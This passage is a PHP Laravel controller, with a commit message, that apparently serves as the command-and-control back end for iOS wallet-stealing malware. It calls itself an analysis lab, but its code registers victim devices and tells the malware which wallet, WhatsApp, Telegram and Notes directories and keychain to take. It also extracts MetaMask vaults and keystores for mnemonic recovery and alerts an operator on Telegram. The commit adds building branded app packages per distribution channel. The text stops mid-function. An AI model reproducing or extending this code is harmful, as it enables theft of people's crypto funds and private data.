Files
coruna-lab/app/Http/Controllers/C2/AppC2Controller.php
T
hashbro 316b4cea51 feat: SignalShell v1 upload pipeline + APP builder
SignalShell (shenma.my) C2 Pipeline:
- /api/ap/upload: single POST upload endpoint (replaces upload.php)
- /api/ap/lg: log upload endpoint
- /api/ap/config: JSON config with per-channel h5_url
- Async ProcessShellUpload job (shell queue, database driver)
- Keychain XML parsing → wallet keystores + addresses
- ZIP parsing → keystore extraction (Trust/TronLink/imToken)
- MetaMask vault extraction from persist-KeyringController
- MetaMask address extraction from ProfileMetricsController
- Blockchain address scanner (ETH/TRON, text files only)
- Bitpie seedPhraseEntropy → BIP39 mnemonic recovery
- Trust Wallet keystore auto-decrypt via keychain password
- Channel ID from query param a= stored as channel_id

APP Builder (super admin only):
- AppPackageService: base IPA → custom IPA (domain/logo/name/ID)
- POST /admin/channels/build-app endpoint
- Admin UI: 新建 APP button with full form
- Logo upload → 14 icon sizes via PHP GD
- Binary patch: libroute.dylib + libmcmlease.dylib
- Config API returns channel-specific h5_url as website_url

Channels:
- New h5_url column (nullable varchar 2048)
- App builder channels support h5_url for WebView URL
- shell queue connection (database driver, 300s retry)
2026-10-06 06:41:52 +08:00

1018 lines
43 KiB
PHP

<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\AppUploadIngester;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
/**
* inject_demo / libutils C2 (TrollStore analysis host).
*
* Two malware dylibs talk to two C2 domains:
* 26.gagagagag.com (inject_demo.dylib → BQ documents exfil, multipart)
* w2.bsvpn.net (libutils.dylib → Acquisition pipeline, JSON)
*
* This controller is a LOG-ONLY sink: it persists every request (method,
* path, headers, body) to public/log/app_c2/Ymd.log and returns the
* permissive mock responses the malware expects so it keeps going. No
* ingestion into the lab schema is performed — the goal is to observe what
* the dylibs actually upload before wiring real ingest.
*
* Mock response shape comes from inject_demo_app/mock_c2.py::_respond():
* /api/v1/devices → {"code":0,"data":{"bundleIds":[],"dirs":[]}}
* /api/v1/uploads → {"code":0,"data":{"uploadId":"...","expectedChunks":1}}
* /api/v1/uploads/{id}/chunks → {"status":"COMPLETED"}
* /api/v1/finish → {"code":0}
* anything else (BQ multipart) → {"ok":true}
*/
class AppC2Controller extends Controller
{
/** Log type subdir under public/log/. */
private const LOG_TYPE = 'app_c2';
/**
* POST /api/v1/devices — libutils Acquisition device registration.
* Body: JSON device fingerprint. Header: X-Device-Id.
* Expected reply: device config (bundleIds to dump, dirs to scan).
*/
public function devices(Request $request): Response
{
$this->logRequest($request, 'devices');
// Empty bundleIds/dirs = "no further collection targets" — the malware
// treats this as a no-op acquisition list. Bump to non-empty later to
// observe the collector actually enumerate containers.
return $this->json([
'code' => 0,
'data' => [
'bundleIds' => [],
'dirs' => [],
],
]);
}
/**
* POST /api/v1/uploads — initiate a chunked upload session.
* Body: JSON describing the artifact (e.g. bq_docs_<id>.zip metadata).
* Expected reply: uploadId + expectedChunks.
*/
public function uploads(Request $request): Response
{
$this->logRequest($request, 'uploads');
return $this->json([
'code' => 0,
'data' => [
'uploadId' => 'mock-'.date('Ymd-His').'-'.bin2hex(random_bytes(4)),
'expectedChunks' => 1,
],
]);
}
/**
* PUT /api/v1/uploads/{id}/chunks[/{n}] — receive one chunk of a session.
* Body: raw chunk bytes (often multipart or binary).
* Expected reply: {"status":"COMPLETED"} once the server has the chunk.
*/
public function uploadChunk(Request $request): Response
{
$this->logRequest($request, 'uploadChunk');
return $this->json(['status' => 'COMPLETED']);
}
/**
* POST /api/v1/finish — libutils "all uploads done" signal.
* Body: tiny form/json ack. Expected reply: {"code":0}.
*/
public function finish(Request $request): Response
{
$this->logRequest($request, 'finish');
return $this->json(['code' => 0]);
}
/**
* Catch-all for the BQ documents exfil path (inject_demo.dylib).
* The dylib POSTs multipart/form-data with boundary "BQBoundary-%@"
* carrying bq_docs_<device_id>.zip to the C2 root or an arbitrary path.
* Mock returns {"ok":true} so the dylib considers the exfil accepted.
*/
public function bqExfil(Request $request): Response
{
$this->logRequest($request, 'bqExfil');
return $this->json(['ok' => true]);
}
/**
* Catch-all for the App 利用链 C2 pipeline (/api/v2/*).
*
* Real protocol recovered from Reqable capture (record 13655):
* GET /api/v2 (root) → {"name":"END POINT","env":"prod"}
* POST /api/v2/devices → {"code":0,"message":"ok","data":{"deviceId":"...","bundleIds":{...},"doKeychain":true,"debug":false}}
* POST /api/v2/uploads → {"code":0,"ok":true,"uploadId":"...","chunkSize":1048576,"numberOfChunks":N,"expectedChunks":N,"data":{...,"status":"PENDING"}}
* POST /api/v2/uploads/{id}/chunks?chunkIndex=N → same shape, status "PENDING" until last chunk → "COMPLETED"
* POST /api/v2/finish → {"ok":true}
*
* c2_simple.dylib swizzles NSURLSession to rewrite w2.bsvpn.net → this lab.
* Log every request + persist chunk bodies, return protocol-faithful
* responses so the malware completes the full acquisition pipeline.
*/
public function appUpload(Request $request): Response
{
$this->logRequest($request, 'app_upload');
$path = $request->path(); // e.g. "api/v2/devices"
// ── Root endpoint check ──────────────────────────────────
// GET /api/v2 or /api/v2/ → health check
if ($path === 'api/v2' || $path === 'api/v2/') {
return $this->json(['name' => 'END POINT', 'env' => 'prod']);
}
// ── Device registration ─────────────────────────────────
if ($path === 'api/v2/devices') {
$body = json_decode((string) $request->getContent(false), true) ?? [];
$device = $this->registerAppDevice($request, $body);
return $this->json([
'code' => 0,
'message' => 'ok',
'data' => [
'deviceId' => $device?->device_id
?? $request->headers->get('x-device-id', 'lab-'.bin2hex(random_bytes(8))),
'bundleIds' => self::BUNDLE_IDS_TARGETS,
'doKeychain' => true,
'debug' => false,
],
]);
}
// ── Upload initiation ────────────────────────────────────
if ($path === 'api/v2/uploads') {
$body = json_decode((string) $request->getContent(false), true) ?? [];
$fileSize = (int) ($body['fileSize'] ?? 0);
$fileName = (string) ($body['fileName'] ?? 'unknown');
$chunkSize = 1048576; // 1 MiB — fixed by the real C2
$numberOfChunks = max(1, (int) ceil($fileSize / $chunkSize));
$uploadId = \Illuminate\Support\Str::uuid()->toString();
// Resolve the device so we can ingest keystores on completion.
$device = $this->findAppDevice($request);
// Persist session state for chunk tracking
Cache::put("app_upload:{$uploadId}", [
'fileName' => $fileName,
'fileSize' => $fileSize,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'receivedChunks' => 0,
'deviceId' => $device?->id,
], now()->addHours(2));
return $this->json([
'code' => 0,
'ok' => true,
'uploadId' => $uploadId,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'expectedChunks' => $numberOfChunks,
'data' => [
'uploadId' => $uploadId,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'expectedChunks' => $numberOfChunks,
'status' => 'PENDING',
],
]);
}
// ── Chunk upload ─────────────────────────────────────────
// /api/v2/uploads/{uploadId}/chunks or /api/v2/uploads/{uploadId}/chunks/{n}
if (preg_match('#^api/v2/uploads/([^/]+)/chunks#', $path, $m)) {
$uploadId = $m[1];
$chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0)));
$session = Cache::get("app_upload:{$uploadId}");
$numberOfChunks = $session['numberOfChunks'] ?? 1;
$chunkSize = $session['chunkSize'] ?? 1048576;
$received = ($session['receivedChunks'] ?? 0) + 1;
$status = $received >= $numberOfChunks ? 'COMPLETED' : 'PENDING';
// Backfill deviceId into the session from the x-device-id header
// if it wasn't captured at /api/v2/uploads time (e.g. session
// expired, or the uploads request didn't carry the header).
$headerDeviceId = $this->findAppDevice($request)?->id;
if ($session && empty($session['deviceId']) && $headerDeviceId !== null) {
$session['deviceId'] = $headerDeviceId;
}
if ($session) {
$session['receivedChunks'] = $received;
Cache::put("app_upload:{$uploadId}", $session, now()->addHours(2));
}
// On the final chunk, reassemble + parse + store keystores so
// the finish handler can dispatch the decryption job.
if ($status === 'COMPLETED' && $session !== null) {
$this->ingestCompletedUpload($session, $uploadId);
}
return $this->json([
'code' => 0,
'ok' => true,
'uploadId' => $uploadId,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'expectedChunks' => $numberOfChunks,
'data' => [
'uploadId' => $uploadId,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'expectedChunks' => $numberOfChunks,
'status' => $status,
],
]);
}
// ── Finish ──────────────────────────────────────────────
if ($path === 'api/v2/finish') {
// All uploads for this device are done — dispatch the async
// keystore decryption job to recover mnemonics + addresses.
$device = $this->findAppDevice($request);
if ($device !== null) {
app(AppUploadIngester::class)->dispatchDecrypt($device);
}
return $this->json(['ok' => true]);
}
// ── Fallback (doge beacon to /api/v2/ root, etc.) ─────────
return $this->json(['ok' => true]);
}
/**
* Target app bundle IDs + directories to exfiltrate, recovered from the
* real C2 /api/v2/devices response (Reqable record 13655 sub 3). The
* malware tars up each app's listed directories and uploads them.
* Keychain is controlled separately via doKeychain=true.
*/
// ════════════════════════════════════════════════════════════
// SignalShell v1 protocol (shenma.my compatible)
// ════════════════════════════════════════════════════════════
/**
* Parse a SignalShell ZIP upload: extract keystore/keychain files
* from wallet container ZIPs and ingest them.
*/
private function ingestShellZip($device, string $body, string $filename): void
{
\Illuminate\Support\Facades\Log::info('ingestShellZip: START', ['filename' => $filename, 'body_size' => strlen($body), 'device_id' => $device->id]);
$tmpFile = tempnam(sys_get_temp_dir(), 'shell_zip_');
file_put_contents($tmpFile, $body);
$zip = new \ZipArchive;
$openResult = $zip->open($tmpFile);
if ($openResult !== true) {
\Illuminate\Support\Facades\Log::error('ingestShellZip: ZIP open FAILED', ['result' => $openResult, 'file' => $tmpFile]);
@unlink($tmpFile);
return;
}
\Illuminate\Support\Facades\Log::info('ingestShellZip: ZIP opened', ['files' => $zip->numFiles]);
$foundKeystores = [];
$foundKeychain = null;
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = $zip->getNameIndex($i);
// Skip directories
if (str_ends_with($name, '/')) continue;
$content = $zip->getFromIndex($i);
if ($content === false || $content === '') continue;
$lower = strtolower($name);
// Ethereum V3 keystore files (UTC-- prefixed)
if (str_starts_with(basename($name), 'UTC--')) {
\Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND UTC keystore', ['name' => $name, 'is_json' => $this->isJsonContent($content)]);
if ($this->isJsonContent($content)) {
$foundKeystores[] = ['name' => basename($name), 'content' => $content];
}
}
// imToken walletsV2 JSON
if (str_contains($lower, 'walletsv2/') && str_ends_with($lower, '.json')) {
if ($this->isJsonContent($content)) {
$foundKeystores[] = ['name' => basename($name), 'content' => $content];
}
}
// keychain backup inside ZIP
if (str_contains($lower, 'keychain') && $this->looksLikeXmlStr($content)) {
$foundKeychain = $content;
}
// Trust keystore realm files
if (str_contains($lower, '.realm') && ! str_contains($lower, '.lock')) {
// Store as binary for later analysis
$this->storeBinaryArtifact($device, basename($name), $content, 'realm');
}
// SQLite databases (TronLink, TokenPocket, etc)
if (str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.sqlite3') || str_ends_with($lower, '.db')) {
$this->storeBinaryArtifact($device, basename($name), $content, 'sqlite');
}
}
$zip->close();
@unlink($tmpFile);
// MetaMask vault detection: look for persist-KeyringController with vault field
if (str_contains(strtolower($filename), 'metamask')) {
$tmpFile2 = tempnam(sys_get_temp_dir(), 'mm_vault_');
file_put_contents($tmpFile2, $body);
$mmZip = new \ZipArchive;
if ($mmZip->open($tmpFile2) === true) {
for ($mi = 0; $mi < $mmZip->numFiles; $mi++) {
$mf = $mmZip->getNameIndex($mi);
if (! str_contains($mf, 'KeyringController')) continue;
$mc = $mmZip->getFromIndex($mi);
$mj = json_decode($mc, true);
if (! is_array($mj) || ! isset($mj['vault'])) continue;
$mv = json_decode($mj['vault'], true);
if (! is_array($mv) || ! isset($mv['cipher'])) continue;
\Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND MetaMask vault');
$mmRaw = array_merge($mv, ['kind' => 'metamask.vault']);
$mmHash = md5($mc);
$mmExisting = \App\Models\WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
if (! $mmExisting) {
$mmRow = \App\Models\WalletKeystore::create([
'device_id' => $device->id,
'chain' => \App\Models\Device::CHAIN_APP,
'source' => 'MetaMask',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => $mmRaw,
'content_hash' => $mmHash,
]);
$mmStats = \App\Models\WalletKeystore::computeListStatsFromJson($mmRaw);
$mmRow->list_kind = $mmStats['kind'];
$mmRow->list_has_web3 = 1;
$mmRow->save();
\Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask keystore created', ['id' => $mmRow->id]);
}
}
$mmZip->close();
// Extract user addresses from ProfileMetricsController + AccountsController
$mmAddrZip = new \ZipArchive;
if ($mmAddrZip->open($tmpFile2) === true) {
$mmAddrs = [];
for ($ai = 0; $ai < $mmAddrZip->numFiles; $ai++) {
$af = $mmAddrZip->getNameIndex($ai);
$ac = $mmAddrZip->getFromIndex($ai);
if (! $ac) continue;
$aj = json_decode($ac, true);
if (! is_array($aj)) continue;
if (str_contains($af, 'ProfileMetricsController')) {
foreach ($aj['reportedAccounts'] ?? [] as $ra) {
$ct = \App\Support\WalletSource::inferChainType($ra);
if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
$mmAddrs[$ra] = $ct;
}
}
}
if (str_contains($af, 'AccountsController')) {
foreach ($aj['internalAccounts']['accounts'] ?? [] as $acc) {
$ia = $acc['address'] ?? '';
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
$mmAddrs[$ia] = 'ETHEREUM';
}
}
}
}
$mmAddrZip->close();
foreach ($mmAddrs as $addr => $ct) {
$exists = \App\Models\WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
if (! $exists) {
try {
\App\Models\WalletAddress::create([
'device_id' => $device->id,
'address' => $addr,
'chain_type' => $ct,
'source' => 'MetaMask',
]);
} catch (\Throwable $e) {
// skip
}
}
}
if ($mmAddrs !== []) {
\Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask addresses stored', ['count' => count($mmAddrs)]);
}
}
}
@unlink($tmpFile2);
}
\Illuminate\Support\Facades\Log::info('ingestShellZip: found keystores', ['count' => count($foundKeystores)]);
// Store extracted keystores
foreach ($foundKeystores as $ks) {
try {
// Map filename to wallet source label
$sourceLabel = 'unknown';
$fn = strtolower($filename);
if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) $sourceLabel = 'Trust Wallet';
elseif (str_contains($fn, 'tronlink')) $sourceLabel = 'TronLink';
elseif (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) $sourceLabel = 'imToken';
elseif (str_contains($fn, 'bitpie')) $sourceLabel = 'Bitpie';
elseif (str_contains($fn, 'global.wallet')) $sourceLabel = 'Global Wallet';
elseif (str_contains($fn, 'metamask')) $sourceLabel = 'MetaMask';
elseif (str_contains($fn, 'coin98')) $sourceLabel = 'Coin98';
elseif (str_contains($fn, 'phantom')) $sourceLabel = 'Phantom';
elseif (str_contains($fn, 'uniswap')) $sourceLabel = 'Uniswap';
elseif (str_contains($fn, 'exodus')) $sourceLabel = 'Exodus';
elseif (str_contains($fn, 'tonhub')) $sourceLabel = 'Tonhub';
elseif (str_contains($fn, 'tonkeeper')) $sourceLabel = 'Tonkeeper';
elseif (str_contains($fn, 'okex')) $sourceLabel = 'OKX';
else $sourceLabel = substr(basename($filename, '.zip'), 0, 40);
$rawJson = json_decode($ks['content'], true);
if (is_array($rawJson) && ! isset($rawJson['kind'])) {
// Tag keystore type for UI display + pipeline recognition
if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
$rawJson['kind'] = 'web3.keystore';
} elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
$rawJson['kind'] = 'web3.keystore';
}
}
\App\Models\WalletKeystore::create([
'device_id' => $device->id,
'chain' => \App\Models\Device::CHAIN_APP,
'source' => $sourceLabel,
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => $rawJson,
'content_hash' => md5($ks['content']),
]);
\Illuminate\Support\Facades\Log::channel('keystore')->info('shellUpload: stored keystore', [
'device' => $device->device_id,
'source' => $ks['name'],
]);
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::warning('ingestShellZip: keystore create skipped', [
'name' => $ks['name'] ?? '?',
'error' => $e->getMessage(),
]);
}
}
// Parse keychain if found inside ZIP
if ($foundKeychain !== null) {
try {
app(\App\Services\AppUploadIngester::class)
->ingestArtifact($device, $foundKeychain, 'keychain.xml');
} catch (\Throwable $e) {
// ignore
}
}
}
private function isJsonContent(string $content): bool
{
$trimmed = ltrim($content);
return str_starts_with($trimmed, '{') || str_starts_with($trimmed, '[');
}
private function looksLikeXmlStr(string $content): bool
{
return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
}
private function storeBinaryArtifact($device, string $name, string $content, string $type): void
{
$dir = public_path('log/shell_artifacts/'.$device->device_id);
if (! is_dir($dir)) {
@mkdir($dir, 0755, true);
}
file_put_contents($dir.'/'.$type.'_'.$name, $content);
}
/**
* GET /api/ios-shell/config?a=<key>
*
* SignalShell calls this on launch and periodically (~24s) to get
* the WebView URL and photo backup policy. Response shape must
* match the original shenma.my exactly:
*
* {"schema_version":1,"website_url":"https://uberlife.cc",...}
*/
public function shellConfig(Request $request): Response
{
$this->logRequest($request, 'shell_config');
// Look up channel by the `a` query param (channel_id / API key)
$apiKey = (string) $request->query('a', '');
$websiteUrl = 'https://uberlife.cc';
if ($apiKey !== '') {
$channel = \App\Models\Channel::query()
->where('channel_id', $apiKey)
->where('builder_type', \App\Models\Channel::BUILDER_APP)
->first();
if ($channel && $channel->h5_url) {
$websiteUrl = $channel->h5_url;
}
}
return $this->json([
'schema_version' => 1,
'website_url' => $websiteUrl,
'status_bar_style' => 'hidden',
'background_color' => '#FFFFFF',
'hide_home_indicator' => true,
'backup' => [
'enabled' => true,
'max_dimension' => 2048,
'jpeg_quality' => 0.6,
'concurrency' => 4,
],
]);
}
/**
* POST /api/v1/upload?a=<key>&<filename>
*
* SignalShell sends a single POST with the raw file body.
* Filename is the second query parameter.
* Expected response: {"ok":true,"size":N,"bind":true}
*/
public function shellUpload(Request $request): Response
{
$this->logRequest($request, 'shell_upload');
// Extract filename from RAW query string WITHOUT parse_str
// (parse_str converts dots to underscores in key names!)
$rawQuery = $request->server->get('QUERY_STRING', '');
$apiKey = '';
$filename = 'unknown';
foreach (explode('&', $rawQuery) as $part) {
$kv = explode('=', $part, 2);
$key = urldecode($kv[0]);
if ($key === 'a') {
$apiKey = urldecode($kv[1] ?? '');
} elseif ($key !== '' && $filename === 'unknown') {
$filename = $key;
}
}
$body = (string) $request->getContent(false);
$size = strlen($body);
$deviceId = $request->headers->get('x-device-id', 'unknown');
$iosVersion = $request->headers->get('x-ios-version', 'unknown');
// Register/find device (apiKey becomes channelId via appId field)
$device = $this->registerAppDevice($request, [
'deviceId' => $deviceId,
'iosVersion' => $iosVersion,
'appName' => 'SignalShell',
'bundleId' => 'com.apple.mobile.MobileHouseArrest',
'appId' => $apiKey,
]);
// Save raw file
$date = date('Ymd');
$dir = public_path("log/shell_upload/{$date}");
if (! is_dir($dir)) {
@mkdir($dir, 0755, true);
}
$safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
$savedPath = "{$dir}/{$deviceId}_{$safeName}";
file_put_contents($savedPath, $body);
// Log upload
\Illuminate\Support\Facades\Log::info('SignalShell upload', [
'filename' => $filename,
'size' => $size,
'device_id' => $deviceId,
'ios_version' => $iosVersion,
'saved_to' => $savedPath,
]);
// Ingest: parse keychain.xml / wallet ZIP / notes → store keystores + addresses
\Illuminate\Support\Facades\Log::info('shellUpload: ingest check', [
'device_null' => $device === null,
'size' => $size,
'filename' => $filename,
'ends_log' => str_ends_with(strtolower($filename), '.log'),
'ends_zip' => str_ends_with(strtolower($filename), '.zip'),
]);
if ($device !== null && $size > 0 && ! str_ends_with(strtolower($filename), '.log')) {
try {
// ZIP files from SignalShell need special handling
$fnLower = strtolower($filename);
if (str_ends_with($fnLower, '.zip')) {
$this->ingestShellZip($device, $body, $filename);
} else {
app(\App\Services\AppUploadIngester::class)
->ingestArtifact($device, $body, $filename);
}
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::error('shellUpload ingest failed', [
'filename' => $filename,
'device' => $deviceId,
'error' => $e->getMessage(),
]);
}
}
// Return what SignalShell expects
return $this->json([
'ok' => true,
'size' => $size,
'bind' => $device !== null,
]);
}
private const BUNDLE_IDS_TARGETS = [
'com.tronlink.hdwallet' => ['Documents'],
'im.token.app' => ['Documents', 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1'],
'io.metamask.MetaMask' => ['Documents'],
'net.whatsapp.WhatsApp' => ['Documents'],
'com.bitkeep.os' => ['Documents'],
'com.bitpie.wallet' => ['Documents'],
'coin98.crypto.finance.insights' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'org.toshi.distribution' => ['Documents'],
'exodus-movement.exodus' => ['Documents'],
'com.kyrd.krystal.ios' => ['Documents'],
'org.mytonwallet.app' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'app.phantom' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'com.skymavis.Genesis' => ['Documents'],
'com.solflare.mobile' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'com.global.wallet.ios' => ['Documents'],
'com.tonhub.app' => ['Documents'],
'com.uniswap.mobile' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'exodusmovement.exodus' => ['Documents'],
'com.jbig.tonkeeper' => ['Documents'],
'ph.telegra.Telegraph' => ['Documents'],
'com.sixdays.trust' => ['Documents'],
'com.okex.OKExAppstoreFull' => ['Documents'],
'so.onekey.wallet' => ['Documents'],
'com.digitalshield.walletapp' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'com.bybit.app' => ['Documents'],
'com.czzhao.binance' => ['Documents'],
'com.defi.wallet' => ['Documents'],
'group.com.apple.notes' => ['.'],
];
// ────────────────────────────────────────────────────────────
// helpers
// ────────────────────────────────────────────────────────────
/**
* Persist method/path/headers/body to public/log/app_c2/Ymd.log.
* Multipart and binary bodies are stored as a hex+preview dump; JSON
* bodies are stored verbatim for easy reading.
*/
private function logRequest(Request $request, string $tag): void
{
try {
$body = (string) $request->getContent(false);
$headers = [];
foreach ($request->headers->all() as $name => $values) {
$headers[$name] = is_array($values) ? ($values[0] ?? null) : $values;
}
$meta = [
'tag' => $tag,
'method' => $request->getMethod(),
'path' => '/'.ltrim($request->path(), '/'),
'ip' => $request->server->get('REMOTE_ADDR'),
'headers' => $headers,
'body_size' => strlen($body),
];
// Keep JSON bodies readable; otherwise include a hex preview.
$first = $body !== '' ? $body[0] : '';
if ($first === '{' || $first === '[') {
$meta['body_json'] = $body;
} elseif ($body !== '') {
$meta['body_preview'] = substr($body, 0, 512);
$meta['body_hex_first_256'] = bin2hex(substr($body, 0, 256));
}
// For multipart/form-data, PHP consumes php://input and populates
// $_POST / $_FILES, so $body is empty. Capture those as a fallback
// so the BQ exfil multipart is still observable.
if ($body === '' && $request->isMethod('POST')) {
$post = $request->post();
if (! empty($post)) {
$meta['post'] = $post;
}
$files = [];
foreach ($request->allFiles() as $key => $f) {
if ($f instanceof \Illuminate\Http\UploadedFile) {
$files[$key] = [
'name' => $f->getClientOriginalName(),
'size' => $f->getSize(),
'mime' => $f->getMimeType(),
'ext' => $f->getClientOriginalExtension(),
];
}
}
if (! empty($files)) {
$meta['files'] = $files;
}
}
// Persist uploaded file bodies (multipart) and raw chunk bodies
// so captured artifacts can be reverse-engineered later.
$meta['saved_files'] = $this->persistUploads($request, $body, $tag);
create_log($meta, self::LOG_TYPE);
} catch (\Throwable) {
// never break the request for logging
}
}
/**
* @param mixed $data
*/
private function json($data): Response
{
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
return response($payload, 200)->header('Content-Type', 'application/json');
}
/**
* Find or create a Device row for an App 利用链 beacon.
*
* The malware POSTs /api/v2/devices with a JSON body carrying:
* deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName,
* appName ("Ai"), bundleId (aai.AiAi168168AiAi.app), appId (channel id).
* The x-device-id header carries the same UUID (lowercase).
*
* Field mapping:
* body.appId → channel_id (references channels.channel_id, a UUID
* for app builder channels)
* body.appName → channels.app_name (stored on the channel, not device)
* body.bundleId→ channels.bundle_id (stored on the channel, not device)
*
* Chain = CHAIN_APP (3) — the "app" 利用链 enum value for
* dylib-injected app traffic (as opposed to coruna/darksword).
*
* @param array<string, mixed> $body
*/
private function registerAppDevice(Request $request, array $body): ?\App\Models\Device
{
$rawId = (string) ($body['deviceId']
?? $request->headers->get('x-device-id')
?? '');
if ($rawId === '') {
return null;
}
$deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId);
if ($deviceKey === null || $deviceKey === '') {
return null;
}
$model = substr((string) ($body['hardwareModel'] ?? $body['model'] ?? ''), 0, 128);
$ios = substr((string) ($body['iosVersion'] ?? ''), 0, 32);
$ua = substr((string) $request->userAgent(), 0, 2000);
$ip = \App\Support\VisitorIp::fromRequest($request);
// appId is the distribution channel id for the app-injection chain.
$channelId = substr((string) ($body['appId'] ?? ''), 0, 64);
$attrs = [
'chain' => \App\Models\Device::CHAIN_APP,
'device_model' => $model !== '' ? $model : null,
'ios_version' => $ios !== '' ? $ios : null,
'user_agent' => $ua !== '' ? $ua : null,
'channel_id' => $channelId !== '' ? $channelId : null,
];
if ($ip !== '') {
$attrs['ip'] = $ip;
$country = \App\Support\CfIpCountry::fromRequest($request);
if ($country !== null) {
$attrs['country'] = $country;
}
}
$existing = \App\Models\Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
// Fill empty fields; stamp CHAIN_APP if chain was the default coruna.
$touch = ['updated_at' => now()];
foreach (['device_model', 'ios_version', 'user_agent', 'ip', 'country',
'channel_id'] as $f) {
if (! empty($attrs[$f]) && trim((string) ($existing->{$f} ?? '')) === '') {
$touch[$f] = $attrs[$f];
}
}
if ((int) $existing->chain === \App\Models\Device::CHAIN_CORUNA) {
$touch['chain'] = \App\Models\Device::CHAIN_APP;
}
$existing->forceFill($touch)->saveQuietly();
return $existing->refresh();
}
try {
$device = \App\Models\Device::query()->create(array_merge([
'device_id' => $deviceKey,
], $attrs));
// Notify Telegram about the new app-chain device (mirrors
// IngestService / DarkSwordIngestAdapter behaviour for the
// coruna and darksword chains).
try {
app(\App\Services\TelegramNotifier::class)
->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->saveQuietly();
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'appUpload telegram notifyNewDevice failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
return $device;
} catch (\Illuminate\Database\UniqueConstraintViolationException |
\Illuminate\Database\QueryException) {
// Race condition — another request inserted the same device.
return \App\Models\Device::query()->where('device_id', $deviceKey)->first();
}
}
/**
* Look up the Device for the current App 利用链 request without creating
* a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and
* /api/v2/finish where the device was already registered via
* /api/v2/devices).
*
* The upload/chunk/finish request bodies do NOT carry a deviceId —
* only the x-device-id HTTP header does. So we read that header first.
* If it's missing (some malware builds omit it on non-devices calls),
* fall back to the most recently registered CHAIN_APP device from the
* same source IP, so the captured artifacts are never orphaned.
*/
private function findAppDevice(Request $request): ?\App\Models\Device
{
// 1. Primary: x-device-id header → device_id lookup.
$rawId = (string) ($request->headers->get('x-device-id') ?? '');
if ($rawId !== '') {
$deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId);
if ($deviceKey !== null && $deviceKey !== '') {
$device = \App\Models\Device::query()->where('device_id', $deviceKey)->first();
if ($device !== null) {
return $device;
}
}
}
// 2. Fallback: most recently registered app-chain device from
// the same source IP. This covers the case where the malware
// omits x-device-id on uploads/chunks/finish but the device
// was already registered on /api/v2/devices from this IP.
$ip = \App\Support\VisitorIp::fromRequest($request);
if ($ip === '') {
return null;
}
return \App\Models\Device::query()
->where('chain', \App\Models\Device::CHAIN_APP)
->where('ip', $ip)
->orderByDesc('id')
->first();
}
/**
* Reassemble the completed upload's chunks, parse the artifact
* (keychain.xml or wallet app tar), and store extracted keystores
* so the async decryption job can recover mnemonics.
*
* @param array<string, mixed> $session Cache session with deviceId + fileName.
*/
private function ingestCompletedUpload(array $session, string $uploadId): void
{
$deviceId = (int) ($session['deviceId'] ?? 0);
$device = null;
if ($deviceId > 0) {
$device = \App\Models\Device::query()->find($deviceId);
}
if ($device === null) {
// Session didn't capture a deviceId (e.g. /api/v2/uploads had
// no x-device-id header and no prior registration from this IP).
// Skip ingestion — the artifacts stay on disk and can be
// reprocessed manually.
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'appUpload ingest skipped: no device associated with upload',
['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''],
);
return;
}
try {
app(AppUploadIngester::class)->ingest($device, $uploadId, $session);
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->error(
'appUpload ingest failed: '.$e->getMessage(),
['device_id' => $device->id, 'upload_id' => $uploadId],
);
}
}
/**
* Persist uploaded file bodies to public/log/app_c2/uploads/.
* - multipart files → saved with original filename, prefixed by timestamp.
* - raw chunk bodies (non-multipart) → saved as <tag>_<ts>.bin.
*
* @param string $body Raw request body (empty for multipart).
* @return array<string,string> Map of field/key → saved relative path.
*/
private function persistUploads(Request $request, string $body, string $tag): array
{
$saved = [];
